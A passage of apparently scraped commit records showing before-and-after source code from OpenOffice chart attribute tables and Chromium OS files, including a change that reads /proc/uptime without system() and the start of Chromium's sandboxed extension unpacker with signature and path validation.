svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n 0\n};\n\nconst USHORT nChartStyleWhichPairs[] =\n{\n SCHATTR_DIAGRAM_STYLE, SCHATTR_DIAGRAM_STYLE,\n SCHATTR_STYLE_SHAPE, SCHATTR_STYLE_SHAPE,\n SCHATTR_NUM_OF_LINES_FOR_BAR, SCHATTR_NUM_OF_LINES_FOR_BAR,\n SCHATTR_SPLINE_ORDER, SCHATTR_SPLINE_ORDER,\n SCHATTR_SPLINE_RESOLUTION, SCHATTR_SPLINE_RESOLUTION,\n 0\n};\n\n\n} \/\/ anonymous namespace\n\n\/\/ CHART_SCHWHICHPAIRS_HXX\n#endif\n<commit_msg>INTEGRATION: CWS ooo19126 (1.2.110); FILE MERGED 2005\/09\/05 18:42:40 rt 1.2.110.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: SchWhichPairs.hxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-08 00:30:39 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef CHART_SCHWHICHPAIRS_HXX\n#define CHART_SCHWHICHPAIRS_HXX\n\n#ifndef _SVX_SVXIDS_HRC\n#include <svx\/svxids.hrc>\n#endif\n\n#ifndef _XDEF_HXX\n#include <svx\/xdef.hxx>\n#endif\n#ifndef _SVDDEF_HXX\n#include <svx\/svddef.hxx>\n#endif\n#ifndef _EEITEM_HXX\n#include <svx\/eeitem.hxx>\n#endif\n\n#include \"SchSfxItemIds.hxx\"\n#include \"SchSlotIds.hxx\"\n\nnamespace\n{\n\nconst USHORT nTitleWhichPairs[] =\n{\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_STACKED, SCHATTR_TEXT_STACKED, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n 0\n};\n\nconst USHORT nAxisWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n SID_ATTR_NUMBERFORMAT_VALUE, SID_ATTR_NUMBERFORMAT_VALUE, \/\/ 10585 - 10585 svx\/svxids.hrc\n SID_ATTR_NUMBERFORMAT_SOURCE, SID_ATTR_NUMBERFORMAT_SOURCE, \/\/ 11432 svx\/svxids.hrc\n SCHATTR_AXISTYPE, SCHATTR_AXISTYPE, \/\/ 39 sch\/schattr.hxx\n SCHATTR_TEXT_START, SCHATTR_TEXT_END, \/\/ 4 - 6 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_TEXT_OVERLAP, SCHATTR_TEXT_OVERLAP, \/\/ 54 sch\/schattr.hxx\n SCHATTR_AXIS_START, SCHATTR_AXIS_END, \/\/ 70 - 95 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n \/\/ SID_TEXTBREAK, SID_TEXTBREAK, \/\/ 30587 sch\/app.hrc\n SCHATTR_TEXTBREAK, SCHATTR_TEXTBREAK, \/\/ 30587 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nAllAxisWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_START, SCHATTR_TEXT_END, \/\/ 4 - 6 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_TEXT_OVERLAP, SCHATTR_TEXT_OVERLAP, \/\/ 54 sch\/schattr.hxx\n SCHATTR_AXIS_SHOWDESCR, SCHATTR_AXIS_SHOWDESCR, \/\/ 85 sch\/schattr.hxx\n \/\/ SID_TEXTBREAK, SID_TEXTBREAK, \/\/ 30587 sch\/app.hrc\n SCHATTR_TEXTBREAK, SCHATTR_TEXTBREAK, \/\/ 30587 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nGridWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nChartWhichPairs[] =\n{\n SCHATTR_STYLE_START,SCHATTR_STYLE_END, \/\/ 59 - 68 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nDiagramAreaWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nAreaAndChartWhichPairs[] = \/\/ pairs for chart AND area\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SCHATTR_STYLE_START,SCHATTR_STYLE_END, \/\/ 59 - 68 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nLegendWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1018 - 1046 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n SCHATTR_LEGEND_START, SCHATTR_LEGEND_END, \/\/ 3 - 3 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nDataLabelWhichPairs[] =\n{\n SCHATTR_DATADESCR_START, SCHATTR_DATADESCR_END,\n 0\n};\n\n#define CHART_POINT_WHICHPAIRS \\\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/* 1000 - 1016 svx\/xdef.hxx *\/ \\\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/* 1018 - 1046 svx\/xdef.hxx *\/ \\\n EE_ITEMS_START, EE_ITEMS_END, \/* 3994 - 4037 svx\/eeitem.hxx *\/ \\\n SCHATTR_DATADESCR_START, SCHATTR_DATADESCR_END, \/* 1 - 2 sch\/schattr.hxx*\/ \\\n SCHATTR_DUMMY0, SCHATTR_DUMMY0, \/* 40 sch\/schattr.hxx*\/ \\\n SCHATTR_DUMMY1, SCHATTR_DUMMY1, \/* 41 sch\/schattr.hxx*\/ \\\n SCHATTR_STYLE_START,SCHATTR_STYLE_END, \/* 59 - 68 sch\/schattr.hxx*\/ \\\n SCHATTR_SYMBOL_BRUSH,SCHATTR_SYMBOL_BRUSH, \/* 96 sch\/schattr.hxx*\/ \\\n SCHATTR_SYMBOL_SIZE,SCHATTR_USER_DEFINED_ATTR, \/* 99 - 100 sch\/schattr.hxx*\/ \\\n SDRATTR_3D_FIRST, SDRATTR_3D_LAST \/* 1244 - 1334 svx\/svddef.hxx *\/\n\nconst USHORT nDataPointWhichPairs[] =\n{\n CHART_POINT_WHICHPAIRS,\n 0\n};\n\nconst USHORT nRowWhichPairs[] =\n{\n CHART_POINT_WHICHPAIRS,\n SCHATTR_STAT_START, SCHATTR_STAT_END, \/* 45 - 52 sch\/schattr.hxx*\/ \\\n SCHATTR_AXIS,SCHATTR_AXIS, \/* 69 sch\/schattr.hxx*\/ \\\n 0\n};\n\nconst USHORT nAreaWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nTextWhichPairs[] =\n{\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_STACKED, SCHATTR_TEXT_STACKED, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n SCHATTR_USER_DEFINED_ATTR, SCHATTR_USER_DEFINED_ATTR, \/\/ 100 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nTextOrientWhichPairs[] =\n{\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n\/\/ SCHATTR_TEXT_ORIENT, SCHATTR_TEXT_ORIENT, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_STACKED, SCHATTR_TEXT_STACKED, \/\/ 4 sch\/schattr.hxx\n SCHATTR_TEXT_DEGREES,SCHATTR_TEXT_DEGREES, \/\/ 53 sch\/schattr.hxx\n 0\n};\n\nconst USHORT nStatWhichPairs[]=\n{\n SCHATTR_STAT_START, SCHATTR_STAT_END, \/\/ 45 - 52 sch\/schattr.hxx\n 0\n};\n\n\/\/ for CharacterProperties\n\nconst USHORT nCharacterPropertyWhichPairs[] =\n{\n EE_ITEMS_START, EE_ITEMS_END, \/\/ 3994 - 4037 svx\/eeitem.hxx\n 0\n};\n\nconst USHORT nLinePropertyWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n 0\n};\n\nconst USHORT nFillPropertyWhichPairs[] =\n{\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n 0\n};\n\nconst USHORT nLineAndFillPropertyWhichPairs[] =\n{\n XATTR_LINE_FIRST, XATTR_LINE_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n XATTR_FILL_FIRST, XATTR_FILL_LAST, \/\/ 1000 - 1016 svx\/xdef.hxx\n SDRATTR_SHADOW_FIRST, SDRATTR_SHADOW_LAST, \/\/ 1067 - 1078 svx\/svddef.hxx\n 0\n};\n\nconst USHORT nChartStyleWhichPairs[] =\n{\n SCHATTR_DIAGRAM_STYLE, SCHATTR_DIAGRAM_STYLE,\n SCHATTR_STYLE_SHAPE, SCHATTR_STYLE_SHAPE,\n SCHATTR_NUM_OF_LINES_FOR_BAR, SCHATTR_NUM_OF_LINES_FOR_BAR,\n SCHATTR_SPLINE_ORDER, SCHATTR_SPLINE_ORDER,\n SCHATTR_SPLINE_RESOLUTION, SCHATTR_SPLINE_RESOLUTION,\n 0\n};\n\n\n} \/\/ anonymous namespace\n\n\/\/ CHART_SCHWHICHPAIRS_HXX\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/browser_notification_observers.h\"\n\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/common\/notification_service.h\"\n\nnamespace {\n\n\/\/ Static function that records uptime in \/proc\/uptime to tmp for metrics use.\nvoid RecordUptime() {\n system(\"cat \/proc\/uptime > \/tmp\/uptime-chrome-first-render &\");\n}\n\n} \/\/ namespace\n\nnamespace chromeos {\n\nInitialTabNotificationObserver::InitialTabNotificationObserver() {\n registrar_.Add(this, NotificationType::LOAD_START,\n NotificationService::AllSources());\n}\n\nInitialTabNotificationObserver::~InitialTabNotificationObserver() {\n}\n\nvoid InitialTabNotificationObserver::Observe(\n NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n \/\/ Only log for first tab to render. Make sure this is only done once.\n if (type == NotificationType::LOAD_START &&\n num_tabs_.GetNext() == 0) {\n \/\/ If we can't post it, it doesn't matter.\n ChromeThread::PostTask(\n ChromeThread::FILE, FROM_HERE,\n NewRunnableFunction(RecordUptime));\n registrar_.Remove(this, NotificationType::LOAD_START,\n NotificationService::AllSources());\n }\n}\n\n} \/\/ namespace chromeos\n<commit_msg>ChromiumOS: read \/proc\/uptime without using system().<commit_after>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/chromeos\/browser_notification_observers.h\"\n\n#include <string>\n\n#include \"base\/file_util.h\"\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/common\/notification_service.h\"\n\nnamespace {\n\n\/\/ Static function that records uptime in \/proc\/uptime to tmp for metrics use.\nvoid RecordUptime() {\n std::string uptime;\n const FilePath proc_uptime = FilePath(\"\/proc\/uptime\");\n const FilePath uptime_output = FilePath(\"\/tmp\/uptime-chrome-first-render\");\n\n if (file_util::ReadFileToString(proc_uptime, &uptime))\n file_util::WriteFile(uptime_output, uptime.data(), uptime.size());\n}\n\n} \/\/ namespace\n\nnamespace chromeos {\n\nInitialTabNotificationObserver::InitialTabNotificationObserver() {\n registrar_.Add(this, NotificationType::LOAD_START,\n NotificationService::AllSources());\n}\n\nInitialTabNotificationObserver::~InitialTabNotificationObserver() {\n}\n\nvoid InitialTabNotificationObserver::Observe(\n NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n \/\/ Only log for first tab to render. Make sure this is only done once.\n if (type == NotificationType::LOAD_START &&\n num_tabs_.GetNext() == 0) {\n \/\/ If we can't post it, it doesn't matter.\n ChromeThread::PostTask(\n ChromeThread::FILE, FROM_HERE,\n NewRunnableFunction(RecordUptime));\n registrar_.Remove(this, NotificationType::LOAD_START,\n NotificationService::AllSources());\n }\n}\n\n} \/\/ namespace chromeos\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/extensions\/sandboxed_extension_unpacker.h\"\n\n#include <set>\n\n#include \"base\/base64.h\"\n#include \"base\/crypto\/signature_verifier.h\"\n#include \"base\/file_util.h\"\n#include \"base\/message_loop.h\"\n#include \"base\/scoped_handle.h\"\n#include \"base\/task.h\"\n#include \"base\/utf_string_conversions.h\" \/\/ TODO(viettrungluu): delete me.\n#include \"chrome\/browser\/chrome_thread.h\"\n#include \"chrome\/browser\/extensions\/extensions_service.h\"\n#include \"chrome\/browser\/renderer_host\/resource_dispatcher_host.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/extensions\/extension.h\"\n#include \"chrome\/common\/extensions\/extension_constants.h\"\n#include \"chrome\/common\/extensions\/extension_file_util.h\"\n#include \"chrome\/common\/extensions\/extension_l10n_util.h\"\n#include \"chrome\/common\/extensions\/extension_unpacker.h\"\n#include \"chrome\/common\/json_value_serializer.h\"\n#include \"gfx\/codec\/png_codec.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n\nconst char SandboxedExtensionUnpacker::kExtensionHeaderMagic[] = \"Cr24\";\n\nSandboxedExtensionUnpacker::SandboxedExtensionUnpacker(\n const FilePath& crx_path,\n const FilePath& temp_path,\n ResourceDispatcherHost* rdh,\n SandboxedExtensionUnpackerClient* client)\n : crx_path_(crx_path), temp_path_(temp_path),\n thread_identifier_(ChromeThread::ID_COUNT),\n rdh_(rdh), client_(client), got_response_(false) {\n}\n\nvoid SandboxedExtensionUnpacker::Start() {\n \/\/ We assume that we are started on the thread that the client wants us to do\n \/\/ file IO on.\n CHECK(ChromeThread::GetCurrentThreadIdentifier(&thread_identifier_));\n\n \/\/ Create a temporary directory to work in.\n if (!temp_dir_.CreateUniqueTempDirUnderPath(temp_path_)) {\n ReportFailure(\"Could not create temporary directory.\");\n return;\n }\n\n \/\/ Initialize the path that will eventually contain the unpacked extension.\n extension_root_ = temp_dir_.path().AppendASCII(\n extension_filenames::kTempExtensionName);\n\n \/\/ Extract the public key and validate the package.\n if (!ValidateSignature())\n return; \/\/ ValidateSignature() already reported the error.\n\n \/\/ Copy the crx file into our working directory.\n FilePath temp_crx_path = temp_dir_.path().Append(crx_path_.BaseName());\n if (!file_util::CopyFile(crx_path_, temp_crx_path)) {\n ReportFailure(\"Failed to copy extension file to temporary directory.\");\n return;\n }\n\n \/\/ If we are supposed to use a subprocess, kick off the subprocess.\n \/\/\n \/\/ TODO(asargent) we shouldn't need to do this branch here - instead\n \/\/ UtilityProcessHost should handle it for us. (http:\/\/crbug.com\/19192)\n bool use_utility_process = rdh_ &&\n !CommandLine::ForCurrentProcess()->HasSwitch(switches::kSingleProcess);\n if (use_utility_process) {\n \/\/ The utility process will have access to the directory passed to\n \/\/ SandboxedExtensionUnpacker. That directory should not contain a\n \/\/ symlink or NTFS reparse point. When the path is used, following\n \/\/ the link\/reparse point will cause file system access outside the\n \/\/ sandbox path, and the sandbox will deny the operation.\n FilePath link_free_crx_path;\n if (!file_util::NormalizeFilePath(temp_crx_path, &link_free_crx_path)) {\n LOG(ERROR) << \"Could not get the normalized path of \"\n << temp_crx_path.value();\n#if defined (OS_WIN)\n \/\/ On windows, it is possible to mount a disk without the root of that\n \/\/ disk having a drive letter. The sandbox does not support this.\n \/\/ See crbug\/49530 .\n ReportFailure(\n \"Can not unpack extension. To safely unpack an extension, \"\n \"there must be a path to your profile directory that starts \"\n \"with a drive letter and does not contain a junction, mount \"\n \"point, or symlink. No such path exists for your profile.\");\n#else\n ReportFailure(\n \"Can not unpack extension. To safely unpack an extension, \"\n \"there must be a path to your profile directory that does \"\n \"not contain a symlink. No such path exists for your profile.\");\n#endif\n return;\n }\n\n ChromeThread::PostTask(\n ChromeThread::IO, FROM_HERE,\n NewRunnableMethod(\n this,\n &SandboxedExtensionUnpacker::StartProcessOnIOThread,\n link_free_crx_path));\n } else {\n \/\/ Otherwise, unpack the extension in this process.\n ExtensionUnpacker unpacker(temp_crx_path);\n if (unpacker.Run() && unpacker.DumpImagesToFile() &&\n unpacker.DumpMessageCatalogsToFile()) {\n OnUnpackExtensionSucceeded(*unpacker.parsed_manifest());\n } else {\n OnUnpackExtensionFailed(unpacker.error_message());\n }\n }\n}\n\nvoid SandboxedExtensionUnpacker::StartProcessOnIOThread(\n const FilePath& temp_crx_path) {\n UtilityProcessHost* host = new UtilityProcessHost(\n rdh_, this, thread_identifier_);\n host->StartExtensionUnpacker(temp_crx_path);\n}\n\nvoid SandboxedExtensionUnpacker::OnUnpackExtensionSucceeded(\n const DictionaryValue& manifest) {\n \/\/ Skip check for unittests.\n if (thread_identifier_ != ChromeThread::ID_COUNT)\n DCHECK(ChromeThread::CurrentlyOn(thread_identifier_));\n got_response_ = true;\n\n scoped_ptr<DictionaryValue> final_manifest(RewriteManifestFile(manifest));\n if (!final_manifest.get())\n return;\n\n \/\/ Create an extension object that refers to the temporary location the\n \/\/ extension was unpacked to. We use this until the extension is finally\n \/\/ installed. For example, the install UI shows images from inside the\n \/\/ extension.\n extension_.reset(new Extension(extension_root_));\n\n \/\/ Localize manifest now, so confirm UI gets correct extension name.\n std::string error;\n if (!extension_l10n_util::LocalizeExtension(extension_.get(),\n final_manifest.get(),\n &error)) {\n ReportFailure(error);\n return;\n }\n\n if (!extension_->InitFromValue(*final_manifest, true, &error)) {\n ReportFailure(std::string(\"Manifest is invalid: \") + error);\n return;\n }\n\n if (!RewriteImageFiles())\n return;\n\n if (!RewriteCatalogFiles())\n return;\n\n ReportSuccess();\n}\n\nvoid SandboxedExtensionUnpacker::OnUnpackExtensionFailed(\n const std::string& error) {\n DCHECK(ChromeThread::CurrentlyOn(thread_identifier_));\n got_response_ = true;\n ReportFailure(error);\n}\n\nvoid SandboxedExtensionUnpacker::OnProcessCrashed() {\n \/\/ Don't report crashes if they happen after we got a response.\n if (got_response_)\n return;\n\n ReportFailure(\"Utility process crashed while trying to install.\");\n}\n\nbool SandboxedExtensionUnpacker::ValidateSignature() {\n ScopedStdioHandle file(file_util::OpenFile(crx_path_, \"rb\"));\n if (!file.get()) {\n ReportFailure(\"Could not open crx file for reading\");\n return false;\n }\n\n \/\/ Read and verify the header.\n ExtensionHeader header;\n size_t len;\n\n \/\/ TODO(erikkay): Yuck. I'm not a big fan of this kind of code, but it\n \/\/ appears that we don't have any endian\/alignment aware serialization\n \/\/ code in the code base. So for now, this assumes that we're running\n \/\/ on a little endian machine with 4 byte alignment.\n len = fread(&header, 1, sizeof(ExtensionHeader),\n file.get());\n if (len < sizeof(ExtensionHeader)) {\n ReportFailure(\"Invalid crx header\");\n return false;\n }\n if (strncmp(kExtensionHeaderMagic, header.magic,\n sizeof(header.magic))) {\n ReportFailure(\"Bad magic number\");\n return false;\n }\n if (header.version != kCurrentVersion) {\n ReportFailure(\"Bad version number\");\n return false;\n }\n if (header.key_size > kMaxPublicKeySize ||\n header.signature_size > kMaxSignatureSize) {\n ReportFailure(\"Excessively large key or signature\");\n return false;\n }\n\n std::vector<uint8> key;\n key.resize(header.key_size);\n len = fread(&key.front(), sizeof(uint8), header.key_size, file.get());\n if (len < header.key_size) {\n ReportFailure(\"Invalid public key\");\n return false;\n }\n\n std::vector<uint8> signature;\n signature.resize(header.signature_size);\n len = fread(&signature.front(), sizeof(uint8), header.signature_size,\n file.get());\n if (len < header.signature_size) {\n ReportFailure(\"Invalid signature\");\n return false;\n }\n\n base::SignatureVerifier verifier;\n if (!verifier.VerifyInit(extension_misc::kSignatureAlgorithm,\n sizeof(extension_misc::kSignatureAlgorithm),\n &signature.front(),\n signature.size(),\n &key.front(),\n key.size())) {\n ReportFailure(\"Signature verification initialization failed. \"\n \"This is most likely caused by a public key in \"\n \"the wrong format (should encode algorithm).\");\n return false;\n }\n\n unsigned char buf[1 << 12];\n while ((len = fread(buf, 1, sizeof(buf), file.get())) > 0)\n verifier.VerifyUpdate(buf, len);\n\n if (!verifier.VerifyFinal()) {\n ReportFailure(\"Signature verification failed\");\n return false;\n }\n\n base::Base64Encode(std::string(reinterpret_cast<char*>(&key.front()),\n key.size()), &public_key_);\n return true;\n}\n\nvoid SandboxedExtensionUnpacker::ReportFailure(const std::string& error) {\n client_->OnUnpackFailure(error);\n}\n\nvoid SandboxedExtensionUnpacker::ReportSuccess() {\n \/\/ Client takes ownership of temporary directory and extension.\n client_->OnUnpackSuccess(temp_dir_.Take(), extension_root_,\n extension_.release());\n}\n\nDictionaryValue* SandboxedExtensionUnpacker::RewriteManifestFile(\n const DictionaryValue& manifest) {\n \/\/ Add the public key extracted earlier to the parsed manifest and overwrite\n \/\/ the original manifest. We do this to ensure the manifest doesn't contain an\n \/\/ exploitable bug that could be used to compromise the browser.\n scoped_ptr<DictionaryValue> final_manifest(\n static_cast<DictionaryValue*>(manifest.DeepCopy()));\n final_manifest->SetString(extension_manifest_keys::kPublicKey, public_key_);\n\n std::string manifest_json;\n JSONStringValueSerializer serializer(&manifest_json);\n serializer.set_pretty_print(true);\n if (!serializer.Serialize(*final_manifest)) {\n ReportFailure(\"Error serializing manifest.json.\");\n return NULL;\n }\n\n FilePath manifest_path =\n extension_root_.Append(Extension::kManifestFilename);\n if (!file_util::WriteFile(manifest_path,\n manifest_json.data(), manifest_json.size())) {\n ReportFailure(\"Error saving manifest.json.\");\n return NULL;\n }\n\n return final_manifest.release();\n}\n\nbool SandboxedExtensionUnpacker::RewriteImageFiles() {\n ExtensionUnpacker::DecodedImages images;\n if (!ExtensionUnpacker::ReadImagesFromFile(temp_dir_.path(), &images)) {\n ReportFailure(\"Couldn't read image data from disk.\");\n return false;\n }\n\n \/\/ Delete any images that may be used by the browser. We're going to write\n \/\/ out our own versions of the parsed images, and we want to make sure the\n \/\/ originals are gone for good.\n std::set<FilePath> image_paths = extension_->GetBrowserImages();\n if (image_paths.size() != images.size()) {\n ReportFailure(\"Decoded images don't match what's in the manifest.\");\n return false;\n }\n\n for (std::set<FilePath>::iterator it = image_paths.begin();\n it != image_paths.end(); ++it) {\n FilePath path = *it;\n if (path.IsAbsolute() || path.ReferencesParent()) {\n ReportFailure(\"Invalid path for browser image.\");\n return false;\n }\n if (!file_util::Delete(extension_root_.Append(path), false)) {\n ReportFailure(\"Error removing old image file.\");\n return false;\n }\n }\n\n \/\/ Write our parsed images back to disk as well.\n for (size_t i = 0; i < images.size(); ++i) {\n const SkBitmap& image = images[i].a;\n FilePath path_suffix = images[i].b;\n if (path_suffix.IsAbsolute() || path_suffix.ReferencesParent()) {\n ReportFailure(\"Invalid path for bitmap image.\");\n return false;\n }\n FilePath path = extension_root_.Append(path_suffix);\n\n std::vector<unsigned char> image_data;\n \/\/ TODO(mpcomplete): It's lame that we're encoding all images as PNG, even\n \/\/ though they may originally be .jpg, etc. Figure something out.\n \/\/ http:\/\/code.google.com\/p\/chromium\/issues\/detail?id=12459\n if (!gfx::PNGCodec::EncodeBGRASkBitmap(image, false, &image_data)) {\n ReportFailure(\"Error re-encoding theme image.\");\n return false;\n }\n\n \/\/ Note: we're overwriting existing files that the utility process wrote,\n \/\/ so we can be sure the directory exists.\n const char* image_data_ptr = reinterpret_cast<const char*>(&image_data[0]);\n if (!file_util::WriteFile(path, image_data_ptr, image_data.size())) {\n ReportFailure(\"Error saving theme image.\");\n return false;\n }\n }\n\n return true;\n}\n\nbool SandboxedExtensionUnpacker::RewriteCatalogFiles() {\n DictionaryValue catalogs;\n if (!ExtensionUnpacker::ReadMessageCatalogsFromFile(temp_dir_.path(),\n &catalogs)) {\n ReportFailure(\"Could not read catalog data from disk.\");\n return false;\n }\n\n \/\/ Write our parsed catalogs back to disk.\n for (DictionaryValue::key_iterator key_it = catalogs.begin_keys();\n key_it != catalogs.end_keys(); ++key_it) {\n DictionaryValue* catalog;\n if (!catalogs.GetDictionaryWithoutPathExpansion(*key_it, &catalog)) {\n ReportFailure(\"Invalid catalog data.\");\n return false;\n }\n\n \/\/ TODO(viettrungluu): Fix the |FilePath::FromWStringHack(UTF8ToWide())|\n \/\/ hack and remove the corresponding #include.\n FilePath relative_path = FilePath::FromWStringHack(UTF8ToWide(*key_it));\n relative_path = relative_path.Append(Extension::kMessagesFilename);\n if (relative_path.IsAbsolute() || relative_path.ReferencesParent()) {\n ReportFailure(\"Invalid path for catalog.\");\n return false;\n }\n FilePath path = extension_root_.Append(relative_path);\n\n std::string catalog_json;\n JSONStringValueSerializer serializer(&catalog_json);\n serializer.set_pretty_print(true);\n if (!serializer.Serialize(*catalog)) {\n ReportFailure(\"Error serializing catalog.\");\n return false;\n }\n\n \/\/ Note: we're overwriting existing files that the utility process read,\n \/\/ so we can be sure the directory exists.\n if (!file_util::WriteFile(path,\n catalog_json.c_str(),\n catalog_json.size())) {\n ReportFailure(\"Error saving catalog.\");\n return false;\n }\n }\n\n return true;\n}\n<commit_msg>Added check when unpacking extensions for a null key.<commit_after>\/\/ Copyright (c) 